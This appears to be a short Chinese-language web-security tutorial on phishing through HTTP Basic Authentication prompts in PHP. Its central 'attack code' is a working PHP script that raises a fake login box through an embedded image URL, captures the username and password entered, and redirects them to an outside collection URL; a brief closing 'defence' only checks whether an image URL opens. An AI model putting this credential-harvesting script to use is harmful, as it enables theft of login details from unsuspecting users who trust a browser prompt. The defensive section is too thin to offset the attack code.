基礎(chǔ)認(rèn)證釣魚(yú)攻擊與防范
首先大家回想一下,在訪問(wèn)路由器的時(shí)候是不是會(huì)彈出這樣的一個(gè)彈窗讓你輸入帳號(hào)密碼登錄呢?沒(méi)錯(cuò),這就是最近很火的基礎(chǔ)認(rèn)證。那我們?nèi)绾斡胮hp來(lái)實(shí)現(xiàn)釣魚(yú)攻擊呢?
在php手冊(cè)中有以下代碼來(lái)演示基礎(chǔ)認(rèn)證登錄。
if (!isset($_SERVER['PHP_AUTH_USER'])) {
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
echo 'Text to send if user hits Cancel button';
exit;
} else {
echo "<p>Hello {$_SERVER['PHP_AUTH_USER']}.</p>";
echo "<p>You entered {$_SERVER['PHP_AUTH_PW']} as your password.</p>";
}
首先定義HTTP頭為WWW-Authenticate,然后相應(yīng)為401 這樣就可以構(gòu)造一個(gè)簡(jiǎn)單的基礎(chǔ)認(rèn)證框。
基本流程,用戶訪問(wèn)被污染服務(wù)器,服務(wù)器返回信息,瀏覽器訪問(wèn)圖片地址,圖片服務(wù)器返回401響應(yīng),http頭為WWW-Authenticate ..... ,瀏覽器彈出基礎(chǔ)認(rèn)證框, 由于Location:被定義為收信地址所以,瀏覽器跳轉(zhuǎn)并轉(zhuǎn)遞信息至收信地址。 攻擊完成。
貼出攻擊代碼吧。
<?php
$info=@$_GET['info'];
if(!isset($_SERVER['PHP_AUTH_USER'])){
header("WWW-Authenticate:BASIC Realm=$info");
header("HTTP/1.0 401 Unauthorized");
exit;
}else{
/*獲取用戶名,密碼進(jìn)行驗(yàn)證*/
$user=$_SERVER['PHP_AUTH_USER'];
$pwd=$_SERVER['PHP_AUTH_PW'];
extract($_GET,EXTR_SKIP);
if($user&&$pwd){
header("Location:http://www.baidu.com/config/log.php?user=$user&pass=$pwd");
}else{
header("WWW-Authenticate:BASIC Realm=user");
header("HTTP/1.0 401 Unauthorized");
exit;
}
}
?>
防范措施:
由于這種攻擊并不是由漏洞造成的所以我們的防范手法只能去確定圖片地址是否為有效圖片。
我們可以用以下代碼來(lái)驗(yàn)證圖片是否有效!
<?php
$url = 'http:// www.2cto.com /img/baidu_sylogo1.gif';
if( @fopen( $url, 'r' ) )
{
echo 'File Exits';
}
else
{
echo 'File Do Not Exits';
}
?>